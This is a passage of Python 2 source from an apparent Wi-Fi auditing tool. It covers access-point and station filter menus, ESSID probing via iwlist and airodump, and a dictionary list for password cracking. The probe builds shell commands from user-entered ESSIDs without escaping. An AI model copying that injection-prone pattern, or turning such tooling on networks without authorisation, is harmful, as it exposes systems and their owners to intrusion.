    if usr_resp=="A" or usr_resp=="1":
        Option1 = "\n" + tabspacefull + fcolor.BWhite + "Filtering On Access Point\n"
        Option2 = tabspacefull + SelBColor + "1" + StdColor + "/" + SelBColor + "E" + StdColor + " - " + SelColor + "E" + StdColor + "ncryption Type\n"
        Option3 = tabspacefull + SelBColor + "2" + StdColor + "/" + SelBColor + "S" + StdColor + " - " + SelColor + "S" + StdColor + "ignal Range\n"
        Option4 = tabspacefull + SelBColor + "3" + StdColor + "/" + SelBColor + "C" + StdColor + " - " + SelColor + "C" + StdColor + "hannel\n"
        Option5 = tabspacefull + SelBColor + "4" + StdColor + "/" + SelBColor + "N" + StdColor + " - Clie" + SelColor + "n" + StdColor + "t\n"
        Option6 = tabspacefull + SelBColor + "5" + StdColor + "/" + SelBColor + "W" + StdColor + " - " + SelColor + "W" + StdColor + "PS\n"
        Option7 = tabspacefull + SelBColor + "6" + StdColor + "/" + SelBColor + "I" + StdColor + " - ESS" + SelColor + "I" + StdColor + "D\n"
        Option8 = tabspacefull + SelBColor + "7" + StdColor + "/" + SelBColor + "B" + StdColor + " - " + SelColor + "B" + StdColor + "SSID\n"
        Option9 = tabspacefull + SelBColor + "9" + StdColor + "/" + SelBColor + "X" + StdColor + " - " + SelColor + "" + StdColor + "Clear Filter\n"
        OptionA=Option1 + Option2 + Option3 + Option4 + Option5 + Option6 + Option7+ Option8 + Option9
        print OptionA
        usr_resp=AskQuestion("Choose an option / " + STxt + "R" + NTxt + "eturn","E/S/C/N/W/I/B/X","U","RETURN","1")
        if usr_resp=="RETURN":
            OptFilterDisplay("1")
            return
        print ""
        if usr_resp=="9" or usr_resp=="X":
            __builtin__.NETWORK_FILTER="ALL"
            __builtin__.NETWORK_SIGNAL_FILTER="ALL"
            __builtin__.NETWORK_CHANNEL_FILTER="ALL"
            __builtin__.NETWORK_WPS_FILTER="ALL"
            __builtin__.NETWORK_CLIENT_FILTER="ALL"
            __builtin__.NETWORK_ESSID_FILTER=""
            __builtin__.NETWORK_BSSID_FILTER=""
            printc (" ","Access Point Filtration Cleared !","")
            OptFilterDisplay("1")
            return;
        if usr_resp=="1" or usr_resp=="E":
            if __builtin__.NETWORK_FILTER!="ALL":
                printc (" " , fcolor.BWhite + "Current Filter = " + SelBColor + str(__builtin__.NETWORK_FILTER), "")
            usr_resp=AskQuestion("Enter Encryption Filter",STxt + "WPA / WPA2 / WPA* / WEP / OPN / OTH / ALL","U","ALL","1")
            if usr_resp=="ALL":
                __builtin__.NETWORK_FILTER="ALL"
                OptFilterDisplay("1")
                return;
            else:
                __builtin__.NETWORK_FILTER=str(usr_resp)
                OptFilterDisplay("1")
                return;
        elif usr_resp=="2" or usr_resp=="S":
            Option1 = tabspacefull + fcolor.BWhite + "Filtering On Signal Range (Access Point)\n"
            Option2 = tabspacefull + SelBColor + "1" + StdColor + "/" + SelBColor + "V" + StdColor + " - " + SelColor + "V" + StdColor + "Good\n"
            Option3 = tabspacefull + SelBColor + "2" + StdColor + "/" + SelBColor + "G" + StdColor + " - " + SelColor + "G" + StdColor + "ood\n"
            Option4 = tabspacefull + SelBColor + "3" + StdColor + "/" + SelBColor + "A" + StdColor + " - " + SelColor + "A" + StdColor + "verage\n"
            Option5 = tabspacefull + SelBColor + "4" + StdColor + "/" + SelBColor + "P" + StdColor + " - " + SelColor + "P" + StdColor + "oorS\n"
            Option6 = tabspacefull + SelBColor + "5" + StdColor + "/" + SelBColor + "U" + StdColor + " - " + SelColor + "U" + StdColor + "nknown\n"
            Option7 = tabspacefull + SelBColor + "9" + StdColor + "/" + SelBColor + "X" + StdColor + " - " + SelColor + "" + StdColor + "Clear Filter\n"
            OptionA=Option1 + Option2 + Option3 + Option4 + Option5 + Option6 + Option7
            print OptionA
            if __builtin__.NETWORK_SIGNAL_FILTER!="ALL":
                printc (" " , fcolor.BWhite + "Current Filter = " + SelBColor + str(NETWORK_SIGNAL_FILTER), "")
            usr_resp=AskQuestion("Choose an option / " + STxt + "R" + NTxt + "eturn","V/G/A/P/U/X","U","RETURN","1")
            if usr_resp=="1" or usr_resp=="VGOOD" or usr_resp=="V":
                __builtin__.NETWORK_SIGNAL_FILTER="V.Good"
            if usr_resp=="2" or usr_resp=="GOOD" or usr_resp=="G":
                __builtin__.NETWORK_SIGNAL_FILTER="Good"
            if usr_resp=="3" or usr_resp=="AVERAGE" or usr_resp=="A":
                __builtin__.NETWORK_SIGNAL_FILTER="Average"
            if usr_resp=="4" or usr_resp=="POOR" or usr_resp=="P":
                __builtin__.NETWORK_SIGNAL_FILTER="Poor"
            if usr_resp=="5" or usr_resp=="UNKNOWN" or usr_resp=="U":
                __builtin__.NETWORK_SIGNAL_FILTER="Unknown"
            if usr_resp=="9" or usr_resp=="X":
                __builtin__.NETWORK_SIGNAL_FILTER="ALL"
            OptFilterDisplay("1")
            return;
        elif usr_resp=="3" or usr_resp=="C":
            if __builtin__.NETWORK_CHANNEL_FILTER!="ALL":
                printc (" " , fcolor.BWhite + "Current Filter = " + SelBColor + str(NETWORK_CHANNEL_FILTER), "")
            __builtin__.NETWORK_CHANNEL_FILTER=AskQuestion("Enter Channel to Filter","Numbers","N","ALL","1")
            OptFilterDisplay("1")
            return;
        elif usr_resp=="4" or usr_resp=="N":
            if __builtin__.NETWORK_CLIENT_FILTER!="ALL":
                printc (" " , fcolor.BWhite + "Current Filter = " + SelBColor + str(NETWORK_CLIENT_FILTER), "")
            usr_resp=AskQuestion("Display of Access Point with Clients",SelColor + "Y" + StdColor + "es / " + SelColor + "N" + StdColor + "o","U","ALL","1")
            __builtin__.NETWORK_CLIENT_FILTER="ALL"
            if usr_resp=="1" or usr_resp=="Y" or usr_resp=="YES":
                __builtin__.NETWORK_CLIENT_FILTER="Yes"
            if usr_resp=="2" or usr_resp=="N" or usr_resp=="NO":
                __builtin__.NETWORK_CLIENT_FILTER="No"
            OptFilterDisplay("1")
            return;
        elif usr_resp=="5" or usr_resp=="W":
            if __builtin__.NETWORK_WPS_FILTER!="ALL":
                printc (" " , fcolor.BWhite + "Current Filter = " + SelBColor + str(NETWORK_WPS_FILTER), "")
            usr_resp=AskQuestion("Display only Access Point with WPS",SelColor + "Y" + StdColor + "es / " + SelColor + "N" + StdColor + "o","U","ALL","1")
            __builtin__.NETWORK_WPS_FILTER="ALL"
            if usr_resp=="1" or usr_resp=="Y" or usr_resp=="YES":
                __builtin__.NETWORK_WPS_FILTER="Yes"
            if usr_resp=="2" or usr_resp=="N" or usr_resp=="NO":
                __builtin__.NETWORK_WPS_FILTER="No"
            OptFilterDisplay("1")
            return;
        elif usr_resp=="6" or usr_resp=="I":
            if __builtin__.NETWORK_ESSID_FILTER!="":
                printc (" " , fcolor.BWhite + "Current Filter = " + SelBColor + str(NETWORK_ESSID_FILTER), "")
            usr_resp=AskQuestion("Enter the ESSID to filter ",StdColor + "RETURN = Remove/Cancel","U","<<CLEAR>>","")
            if usr_resp=="<<CLEAR>>":
                __builtin__.NETWORK_ESSID_FILTER=""
            else:
                __builtin__.NETWORK_ESSID_FILTER=usr_resp
            OptFilterDisplay("1")
            return;
        elif usr_resp=="7" or usr_resp=="B":
            if __builtin__.NETWORK_BSSID_FILTER!="":
                printc (" " , fcolor.BWhite + "Current Filter = " + SelBColor + str(NETWORK_BSSID_FILTER), "")
            usr_resp=AskQuestion("Enter the BSSID to filter ",StdColor + "RETURN = Remove/Cancel","U","<<CLEAR>>","")
            if usr_resp=="<<CLEAR>>":
                __builtin__.NETWORK_BSSID_FILTER=""
            else:
                __builtin__.NETWORK_BSSID_FILTER=usr_resp
            OptFilterDisplay("1")
            return;
    if usr_resp=="2" or usr_resp=="S":
        Option1 = "\n" + tabspacefull + fcolor.BWhite + "Filtering On Stations\n"
        Option2 = tabspacefull + SelBColor + "1" + StdColor + "/" + SelBColor + "P" + StdColor + " - " + SelColor + "P" + StdColor + "robes\n"
        Option3 = tabspacefull + SelBColor + "2" + StdColor + "/" + SelBColor + "S" + StdColor + " - " + SelColor + "S" + StdColor + "ignal Range\n"
        Option4 = tabspacefull + SelBColor + "3" + StdColor + "/" + SelBColor + "A" + StdColor + " - " + SelColor + "A" + StdColor + "ssociated Station\n"
        Option5 = tabspacefull + SelBColor + "4" + StdColor + "/" + SelBColor + "U" + StdColor + " - " + SelColor + "U" + StdColor + "nassociated Station\n"
        Option6 = tabspacefull + SelBColor + "9" + StdColor + "/" + SelBColor + "X" + StdColor + " - " + SelColor + "" + StdColor + "Clear Filter\n"
        OptionA=Option1 + Option2 + Option3 + Option4 + Option5 + Option6
        print OptionA
        usr_resp=AskQuestion("Choose an option / " + STxt + "R" + NTxt + "eturn","P/S/A/U/X","U","RETURN","1")
        if usr_resp=="RETURN":
            OptFilterDisplay("1")
            return
        print ""
        if usr_resp=="9" or usr_resp=="X":
            __builtin__.NETWORK_PROBE_FILTER="ALL"
            __builtin__.NETWORK_ASSOCIATED_FILTER="ALL"
            __builtin__.NETWORK_UNASSOCIATED_FILTER="ALL"
            __builtin__.NETWORK_CSIGNAL_FILTER="ALL"
            printc (" ","Station Filtration Cleared !","")
            OptFilterDisplay("1")
            return;
        elif usr_resp=="1" or usr_resp=="P":
            if __builtin__.NETWORK_PROBE_FILTER!="ALL":
                printc (" " , fcolor.BWhite + "Current Filter = " + SelBColor + str(NETWORK_PROBE_FILTER), "")
            usr_resp=AskQuestion("Display only if station having probe names",SelColor + "Y" + StdColor + "es / " + SelColor + "N" + StdColor + "o","U","ALL","1")
            __builtin__.NETWORK_PROBE_FILTER="ALL"
            if usr_resp=="1" or usr_resp=="Y" or usr_resp=="YES":
                __builtin__.NETWORK_PROBE_FILTER="Yes"
            if usr_resp=="2" or usr_resp=="N" or usr_resp=="NO":
                __builtin__.NETWORK_PROBE_FILTER="No"
            OptFilterDisplay("1")
            return
        elif usr_resp=="2" or usr_resp=="S":
            Option1 = tabspacefull + fcolor.BWhite + "Filtering On Signal Range (Station)\n"
            Option2 = tabspacefull + SelBColor + "1" + StdColor + "/" + SelBColor + "V" + StdColor + " - " + SelColor + "V" + StdColor + "Good\n"
            Option3 = tabspacefull + SelBColor + "2" + StdColor + "/" + SelBColor + "G" + StdColor + " - " + SelColor + "G" + StdColor + "ood\n"
            Option4 = tabspacefull + SelBColor + "3" + StdColor + "/" + SelBColor + "A" + StdColor + " - " + SelColor + "A" + StdColor + "verage\n"
            Option5 = tabspacefull + SelBColor + "4" + StdColor + "/" + SelBColor + "P" + StdColor + " - " + SelColor + "P" + StdColor + "oorS\n"
            Option6 = tabspacefull + SelBColor + "5" + StdColor + "/" + SelBColor + "U" + StdColor + " - " + SelColor + "U" + StdColor + "nknown\n"
            Option7 = tabspacefull + SelBColor + "9" + StdColor + "/" + SelBColor + "X" + StdColor + " - " + SelColor + "" + StdColor + "Clear Filter\n"
            OptionA=Option1 + Option2 + Option3 + Option4 + Option5 + Option6 + Option7
            print OptionA
            if __builtin__.NETWORK_CSIGNAL_FILTER!="ALL":
                printc (" " , fcolor.BWhite + "Current Filter = " + SelBColor + str(NETWORK_CSIGNAL_FILTER), "")
            usr_resp=AskQuestion("Choose an option / " + STxt + "R" + NTxt + "eturn","V/G/A/P/U/X","U","RETURN","1")
            if usr_resp=="RETURN":
                OptFilterDisplay("1")
                return
            if usr_resp=="1" or usr_resp=="VGOOD" or usr_resp=="V":
                __builtin__.NETWORK_CSIGNAL_FILTER="V.Good"
            if usr_resp=="2" or usr_resp=="GOOD" or usr_resp=="G":
                __builtin__.NETWORK_CSIGNAL_FILTER="Good"
            if usr_resp=="3" or usr_resp=="AVERAGE" or usr_resp=="A":
                __builtin__.NETWORK_CSIGNAL_FILTER="Average"
            if usr_resp=="4" or usr_resp=="POOR" or usr_resp=="P":
                __builtin__.NETWORK_CSIGNAL_FILTER="Poor"
            if usr_resp=="5" or usr_resp=="UNKNOWN" or usr_resp=="U":
                __builtin__.NETWORK_CSIGNAL_FILTER="Unknown"
            if usr_resp=="9" or usr_resp=="X":
                __builtin__.NETWORK_CSIGNAL_FILTER="ALL"
            OptFilterDisplay("1")
            return;
        elif usr_resp=="3" or usr_resp=="A":
            if __builtin__.NETWORK_ASSOCIATED_FILTER!="ALL":
                printc (" " , fcolor.BWhite + "Current Filter (Associated) = " + SelBColor + str(NETWORK_ASSOCIATED_FILTER), "")
            usr_resp=AskQuestion("Display only if station associated",SelColor + "Y" + StdColor + "es / " + SelColor + "N" + StdColor + "o","U","ALL","1")
            __builtin__.NETWORK_ASSOCIATED_FILTER="ALL"
            __builtin__.NETWORK_UNASSOCIATED_FILTER="ALL"
            if usr_resp=="1" or usr_resp=="Y" or usr_resp=="YES":
                __builtin__.NETWORK_ASSOCIATED_FILTER="Yes"
                __builtin__.NETWORK_UNASSOCIATED_FILTER="No"
            if usr_resp=="2" or usr_resp=="N" or usr_resp=="NO":
                __builtin__.NETWORK_ASSOCIATED_FILTER="No"
                __builtin__.NETWORK_UNASSOCIATED_FILTER="Yes"
            OptFilterDisplay("1")
            return
        elif usr_resp=="4" or usr_resp=="U":
            if __builtin__.NETWORK_UNASSOCIATED_FILTER!="ALL":
                printc (" " , fcolor.BWhite + "Current Filter (Unassociated) = " + SelBColor + str(NETWORK_UNASSOCIATED_FILTER), "")
            usr_resp=AskQuestion("Display only if station is not associated",SelColor + "Y" + StdColor + "es / " + SelColor + "N" + StdColor + "o","U","ALL","1")
            __builtin__.NETWORK_UNASSOCIATED_FILTER="ALL"
            __builtin__.NETWORK_ASSOCIATED_FILTER="ALL"
            if usr_resp=="1" or usr_resp=="Y" or usr_resp=="YES":
                __builtin__.NETWORK_ASSOCIATED_FILTER="No"
                __builtin__.NETWORK_UNASSOCIATED_FILTER="Yes"
            if usr_resp=="2" or usr_resp=="N" or usr_resp=="NO":
                __builtin__.NETWORK_ASSOCIATED_FILTER="Yes"
                __builtin__.NETWORK_UNASSOCIATED_FILTER="No"
            OptFilterDisplay("1")
            return
    if usr_resp=="3" or usr_resp=="U":
        Option1 = "\n" + tabspacefull + fcolor.BWhite + "Filtering On Unassociated Station\n"
        Option2 = tabspacefull + SelBColor + "1" + StdColor + "/" + SelBColor + "P" + StdColor + " - " + SelColor + "P" + StdColor + "robes\n"
        Option3 = tabspacefull + SelBColor + "2" + StdColor + "/" + SelBColor + "S" + StdColor + " - " + SelColor + "S" + StdColor + "ignal Range\n"
        Option4 = tabspacefull + SelBColor + "9" + StdColor + "/" + SelBColor + "X" + StdColor + " - " + SelColor + "" + StdColor + "Clear Filter\n"
        OptionA=Option1 + Option2 + Option3 + Option4 
        print OptionA
        usr_resp=AskQuestion("Choose an option / " + STxt + "R" + NTxt + "eturn","P/S/A/U/X","U","RETURN","1")
        if usr_resp=="RETURN":
            OptFilterDisplay("1")
            return
        print ""
        if usr_resp=="9" or usr_resp=="X":
            __builtin__.NETWORK_UPROBE_FILTER="ALL"
            __builtin__.NETWORK_UCSIGNAL_FILTER="ALL"
            printc (" ","Station Filtration Cleared !","")
            OptFilterDisplay("1")
            return;
        elif usr_resp=="1" or usr_resp=="P":
            if __builtin__.NETWORK_UPROBE_FILTER!="ALL":
                printc (" " , fcolor.BWhite + "Current Filter = " + SelBColor + str(NETWORK_UPROBE_FILTER), "")
            usr_resp=AskQuestion("Display only if unassociated station having probe names",SelColor + "Y" + StdColor + "es / " + SelColor + "N" + StdColor + "o","U","RETURN","1")
            __builtin__.NETWORK_UPROBE_FILTER="ALL"
            if usr_resp=="1" or usr_resp=="Y" or usr_resp=="YES":
                __builtin__.NETWORK_UPROBE_FILTER="Yes"
            if usr_resp=="2" or usr_resp=="N" or usr_resp=="NO":
                __builtin__.NETWORK_UPROBE_FILTER="No"
            OptFilterDisplay("1")
            return
        elif usr_resp=="2" or usr_resp=="S":
            Option1 = tabspacefull + fcolor.BWhite + "Filtering On Signal Range (Station)\n"
            Option2 = tabspacefull + SelBColor + "1" + StdColor + "/" + SelBColor + "V" + StdColor + " - " + SelColor + "V" + StdColor + "Good\n"
            Option3 = tabspacefull + SelBColor + "2" + StdColor + "/" + SelBColor + "G" + StdColor + " - " + SelColor + "G" + StdColor + "ood\n"
            Option4 = tabspacefull + SelBColor + "3" + StdColor + "/" + SelBColor + "A" + StdColor + " - " + SelColor + "A" + StdColor + "verage\n"
            Option5 = tabspacefull + SelBColor + "4" + StdColor + "/" + SelBColor + "P" + StdColor + " - " + SelColor + "P" + StdColor + "oorS\n"
            Option6 = tabspacefull + SelBColor + "5" + StdColor + "/" + SelBColor + "U" + StdColor + " - " + SelColor + "U" + StdColor + "nknown\n"
            Option7 = tabspacefull + SelBColor + "9" + StdColor + "/" + SelBColor + "X" + StdColor + " - " + SelColor + "" + StdColor + "Clear Filter\n"
            OptionA=Option1 + Option2 + Option3 + Option4 + Option5 + Option6 + Option7
            print OptionA
            if __builtin__.NETWORK_UCSIGNAL_FILTER!="ALL":
                printc (" " , fcolor.BWhite + "Current Filter = " + SelBColor + str(NETWORK_UCSIGNAL_FILTER), "")
            usr_resp=AskQuestion("Choose an option / " + STxt + "R" + NTxt + "eturn","V/G/A/P/U/X","U","RETURN","1")
            if usr_resp=="RETURN":
                OptFilterDisplay("1")
                return
            if usr_resp=="1" or usr_resp=="VGOOD" or usr_resp=="V":
                __builtin__.NETWORK_UCSIGNAL_FILTER="V.Good"
            if usr_resp=="2" or usr_resp=="GOOD" or usr_resp=="G":
                __builtin__.NETWORK_UCSIGNAL_FILTER="Good"
            if usr_resp=="3" or usr_resp=="AVERAGE" or usr_resp=="A":
                __builtin__.NETWORK_UCSIGNAL_FILTER="Average"
            if usr_resp=="4" or usr_resp=="POOR" or usr_resp=="P":
                __builtin__.NETWORK_UCSIGNAL_FILTER="Poor"
            if usr_resp=="5" or usr_resp=="UNKNOWN" or usr_resp=="U":
                __builtin__.NETWORK_UCSIGNAL_FILTER="Unknown"
            if usr_resp=="9" or usr_resp=="X":
                __builtin__.NETWORK_UCSIGNAL_FILTER="ALL"
            OptFilterDisplay("1")
            return;

def KillSubProc(sProc):
    try:
        cmdLine="ps -eo pid | grep '" + str(sProc) + "'"
        ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
        readout=str(ps.stdout.read().replace("\n",""))
        readout=str(readout).lstrip().rstrip()
        ps.wait();ps.stdout.close()
        sProc=str(sProc)
        if str(readout)==str(sProc):
            os.killpg(int(sProc), signal.SIGTERM) 
    except OSError: pass           

def StartProbeESSID(sProbeName):
    printc ("i",fcolor.BGreen + "Probing for [" + fcolor.BRed + str(sProbeName) + fcolor.BGreen + "]....","")
    printc (" ",fcolor.SGreen + "Probing will take a couple of seconds..","")
    printc (" ",fcolor.SGreen + "Once the terminal close immediately after it is open, it is likely probing interface is busy..","")
    printc (" ",fcolor.SGreen + "Try to wait a while and conduct probe again..","")
    print""
    cmdLine="ps -eo pid | grep '" + str(__builtin__.IWListProc) + "'"
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE)	
    readout=str(ps.stdout.read().replace("\n",""))
    readout=str(readout).lstrip().rstrip()
    __builtin__.IWListProc=str(__builtin__.IWListProc)
    if str(readout)==str(__builtin__.IWListProc):
        os.killpg(int(__builtin__.IWListProc), signal.SIGTERM)
    cmdLine="xterm -geometry 100x3-0-200 -iconic -bg black -fg white -fn 5x8 -title 'Probing ESSID [ " + str(sProbeName) + " ].. terminal will terminate once completed.' -e 'iwlist " + __builtin__.SELECTED_MANIFACE + " scanning essid \x22" + str(sProbeName) + "\x22 > /dev/null 2>&1'"
    ps=subprocess.Popen(cmdLine , shell=True, stdout=subprocess.PIPE, preexec_fn=os.setsid)
    __builtin__.ProbeProc=ps.pid
    Ask=AskQuestion("Probe [ " + fcolor.BRed + str(sProbeName) + fcolor.BGreen + " ] again ?" ,"y/N","U","N","1")
    KillSubProc(__builtin__.ProbeProc)
    if Ask=="Y":
        StartProbeESSID(sProbeName)
    return

def ProbeESSID(sProbeName):
    if sProbeName=="":
        usr_resp=AskQuestion("Enter the ESSID to Probe" ,"","","","1")
        if len(usr_resp)>0:
            x=0
            Skip=0
            sProbeName=usr_resp
            while x < len(__builtin__.ListInfo_BSSID):
                if usr_resp==__builtin__.ListInfo_ESSID[x]:
                    Ask=AskQuestion("The ESSID [ " + fcolor.BRed + sProbeName + fcolor.BGreen + " ] already exist, do you want to continue to probe for the name" ,"y/N","U","N","1")
                    if Ask!="Y":
                        Skip=1
                x += 1
            if Skip!=1:
                StartProbeESSID(sProbeName)
                return
    else:
         StartProbeESSID(sProbeName)
    return

def RestartApplication():
    printc ("!!!","Restarting the application.....","")
    python = sys.executable
    os.execl(python,python, * sys.argv)

def RestoreAllSetting():
    printc ("!!!","Deleting All Existing Configuration.....","")
    DelFile (__builtin__.ConfigFile,1)
    DelFile (__builtin__.PktConfig,1)
    DelFile (__builtin__.MonitorMACfile,1)
    RestartApplication()

def ResetInterface(CMD):
    if CMD=="1":
        print ""
        printc ("i",fcolor.BGreen + "Shutting down all interfaces .....","")
    ShutdownMonitor()
    KillAllMonitor()
    CreateMonitor(CMD,"")
    if CMD=="1":
        printc ("i",fcolor.BGreen + "Restarting all interfaces .....","")
    RunAirodump()
    if __builtin__.LOAD_IWLIST=="Yes" and __builtin__.FIXCHANNEL==0:
        RunIWList()

def OptControls(HeaderLine):
    if HeaderLine!="":
        LineBreak()
    printc ("+", fcolor.BBlue + "Operation Control Menu","")
    Option0 = tabspacefull + SelBColor + "0" + StdColor + "/" + SelBColor + "R" + StdColor + " - Shutdown all interfaces and " + SelColor + "R" + StdColor + "estart again\n"
    Option1 = tabspacefull + SelBColor + "1" + StdColor + "/" + SelBColor + "P" + StdColor + " - " + SelColor + "P" + StdColor + "robe Acess Point Name\n"
    Option2 = tabspacefull + SelBColor + "2" + StdColor + "/" + SelBColor + "N" + StdColor + " - Refresh " + SelColor + "N" + StdColor + "ow\n"
    Option3 = tabspacefull + SelBColor + "3" + StdColor + "/" + SelBColor + "S" + StdColor + " - Re" + SelColor + "s" + StdColor + "tart Application (All active listing will be cleared) \n"
    Option4 = tabspacefull + SelBColor + "4" + StdColor + "/" + SelBColor + "T" + StdColor + " - Res" + SelColor + "t" + StdColor + "ore all setting (All configuration will be reset, application will restart) \n"
    OptionA=Option0 + Option1 + Option2 + Option3 + Option4
    print OptionA
    usr_resp=AskQuestion("Choose an option","R / P / N / S / T","U","RETURN","1")
    if usr_resp=="RETURN":
        return;
    if usr_resp=="0" or usr_resp=="R":
        LineBreak()
        ResetInterface("1")
    if usr_resp=="1" or usr_resp=="P":
        LineBreak()
        ProbeESSID("")
    if usr_resp=="2" or usr_resp=="N":
        LineBreak()
        return "TIME0"
    if usr_resp=="3" or usr_resp=="S":
        LineBreak()
        Result=AskQuestion(fcolor.BRed + "Active listing will be cleared, are you sure you want to exit ?"+ fcolor.BGreen,"y/N","U","N","1")
        if Result=="Y":
           RestartApplication()
    if usr_resp=="4" or usr_resp=="T":
        LineBreak()
        Result=AskQuestion(fcolor.SRed + "All your setting will be removed, are you sure ?"+ fcolor.BGreen,"y/N","U","N","1")
        if Result=="Y":
            RestoreAllSetting()
    return;

def DisplayDictionaryList(ToDisplay):
    __builtin__.DictionaryList=[]
    __builtin__.DictionaryListD=[]
    if IsFileDirExist(DBFile7)=="F":
	with open(DBFile7,"r") as f:
	    for line in f:
                line=line.replace("\n","")
                sl=len(line)
                if sl>0:
                    if len(line)<8:
                        __builtin__.DictionaryList.append (str(line))
                        __builtin__.DictionaryListD.append (str(line))
                    else:
                        linel=line
                        lined=line
                        if linel[:8]=="DEFAULT=":
                            lined=linel[8:] + fcolor.SWhite + " [" + fcolor.BRed + "Default" + fcolor.SWhite + "]"
                            linel=linel[8:] 
                            __builtin__.SELECTED_DICT=linel
                        __builtin__.DictionaryList.append (str(linel))
                        __builtin__.DictionaryListD.append (str(lined))
        if ToDisplay=="1":
            c=0
            while c<len(__builtin__.DictionaryList):
                printc (str(c+1),fcolor.SCyan + __builtin__.DictionaryListD[c],"")
                c += 1

def OptDictionarySetting(HeaderLine,DisplayHeader):
    if HeaderLine!="":
        LineBreak()
    if DisplayHeader=="1":
        printc ("+", fcolor.BBlue + "Dictionary Setting","")
    print tabspacefull + StdColor + "This option allow user to add list of dictionary for passwords cracking..";print ""
    DisplayDictionaryList("1")
    print""
    print tabspacefull + fcolor.BRed + "1/A" + fcolor.SWhite + " - " + fcolor.BYellow + "A" + fcolor.SWhite + "dd dictionary location"
    print tabspacefull + fcolor.BRed + "2/S" + fcolor.SWhite + " - " + fcolor.BYellow + "S" + fcolor.SWhite + "et default dictionary"
    print tabspacefull + fcolor.BRed + "3/D" + fcolor.SWhite + " - " + fcolor.BYellow + "D" + fcolor.SWhite + "elete dictionary location"
    usr_resp=AskQuestion("Select an option","A/S/D","U","RETURN","1")
    LineBreak()
    if usr_resp=="1" or usr_resp=="A":
        dict=AskQuestion("Enter the location of dictionary",fcolor.SGreen + "Default-Return",""," ","")
        if dict==" ":
            OptDictionarySetting ("1","1")
            return
        if IsFileDirExist(dict)=="F":
            c=0
            while c<len(__builtin__.DictionaryList):
               if str(__builtin__.DictionaryList[c])==dict:
                   printc ("!!!","Specified dictionary already exist in the list !!!","")
                   OptDictionarySetting ("1","1")
                   return
               c += 1
            open(DBFile7,"a+b").write(dict + "\n")
            printc ("i",fcolor.BWhite + "Dictionary location added...","")
            OptDictionarySetting ("1","1")
            return
        else:
            printc ("!!!","Specified dictionary not found !!!","")
            OptDictionarySetting ("1","1")
            return
    if usr_resp=="2" or usr_resp=="S":
        usr_resp=AskQuestion("Enter the dictionary to set as default",fcolor.SGreen + "Default-Return",""," ","")
        if usr_resp==" ":
            OptDictionarySetting ("1","1")
            return
        ToAdd=""
        if usr_resp.isdigit()==True:
            usr_resp=int(usr_resp)-1
            if int(usr_resp)>len(__builtin__.DictionaryList):
                printc ("!!!","Invalid option !!","")
            else:
                SelDict=__builtin__.DictionaryList[usr_resp]
                __builtin__.SELECTED_DICT=SelDict
                ToAdd="1"
        else:
            c=0
            while c<len(__builtin__.DictionaryList):
                if __builtin__.DictionaryList[c]==usr_resp:
                    SelDict=__builtin__.DictionaryList[c]
                    __builtin__.SELECTED_DICT=SelDict
                    ToAdd="1"
                c += 1
            if ToAdd=="":
                printc ("!!!","Specified dictionary not found in list !!","")
        if ToAdd=="1":
            open(DBFile7,"w").write("")
            c=0
            while c<len(__builtin__.DictionaryList):
                Default=""
                if __builtin__.DictionaryList[c]==__builtin__.SELECTED_DICT:
                    Default="DEFAULT="
                open(DBFile7,"a+b").write(Default + (__builtin__.DictionaryList[c]) + "\n")
                c += 1
            printc ("i",fcolor.BWhite + "Dictionary " + fcolor.BRed + str(__builtin__.SELECTED_DICT) + fcolor.BWhite + " set as default...","")
            SaveConfig("")
            OptDictionarySetting ("1","1")
            return
    if usr_resp=="3" or usr_resp=="D":
        if int(len(__builtin__.DictionaryList))==1:
            printc ("!!!","A minimum of 1 dictionary location must be in the list !!!","")
            OptDictionarySetting ("1","1")
            return
        else:
            usr_resp=AskQuestion("Enter the dictionary to delete",fcolor.SGreen + "Default-Return",""," ","")
            if usr_resp==" ":
                OptDictionarySetting ("1","1")
                return
            ToDel=""
            if usr_resp.isdigit()==True:
                usr_resp=int(usr_resp)-1
                if int(usr_resp)>len(__builtin__.DictionaryList):
                    printc ("!!!","Invalid option !!","")
                else:
                    SelDict=__builtin__.DictionaryList[usr_resp]
                    ToDel="1"
            else:
                c=0
                while c<len(__builtin__.DictionaryList):
                    if __builtin__.DictionaryList[c]==usr_resp:
                        SelDict=__builtin__.DictionaryList[c]
                        ToDel="1"
                    c += 1
                if ToDel=="":
                    printc ("!!!","Specified dictionary not found in list !!","")
            if ToDel=="1":
                open(DBFile7,"w").write("")
                c=0
                if __builtin__.SELECTED_DICT==SelDict:
                    if __builtin__.DictionaryList[0]!=SelDict:
                        __builtin__.SELECTED_DICT=__builtin__.DictionaryList[0]
                    else:
                        __builtin__.SELECTED_DICT=__builtin__.DictionaryList[1]
                while c<len(__builtin__.DictionaryList):
                    Default=""
                    if __builtin__.DictionaryList[c]!=SelDict:
                        if __builtin__.DictionaryList[c]==__builtin__.SELECTED_DICT:
                            Default="DEFAULT="
                        open(DBFile7,"a+b").write(Default + (__builtin__.DictionaryList[c]) + "\n")
                    c += 1
                printc ("i",fcolor.BWhite + "Dictionary " + fcolor.BRed + str(SelDict) + fcolor.BWhite + " deleted from list...","")
                SaveConfig("")
                OptDictionarySetting ("1","1")
                return
        
    return

def OptConfiguration(HeaderLine):
    if HeaderLine!="":
        LineBreak()
    printc ("+", fcolor.BBlue + "Application Configuation","")
    Option0 = tabspacefull + SelBColor + "0" + StdColor + "/" + SelBColor + "L" + StdColor + " - Change Regu" + SelColor + "l" + StdColor + "atory Domain\t\t\t" + fcolor.SGreen + "[ Current : " + str(GetRegulatoryDomain()) + " ]\n"
    Option1 = tabspacefull + SelBColor + "1" + StdColor + "/" + SelBColor + "R" + StdColor + " - " + SelColor + "R" + StdColor + "efreshing rate of information\t\t" + fcolor.SGreen + "[ Current : " + str(__builtin__.TIMEOUT) + " sec ]\n"
    Option2 = tabspacefull + SelBColor + "2" + StdColor + "/" + SelBColor + "T" + StdColor + " - " + SelColor + "T" + StdColor + "ime before removing inactive AP/Station\t" + fcolor.SGreen + "[ Current : " + str(HIDE_AFTER_MIN) + " min / " + str(TOTALLY_REMOVE_MIN) + " min]\n"
    Option3 = tabspacefull + SelBColor + "3" + StdColor + "/" + SelBColor + "H" + StdColor + " - " + SelColor + "H" + StdColor + "ide inactive Access Point/Station\t\t" + fcolor.SGreen + "[ Access Point : " + str(__builtin__.HIDE_INACTIVE_SSID) + " / Station : " + str(__builtin__.HIDE_INACTIVE_STN) + " ]\n"
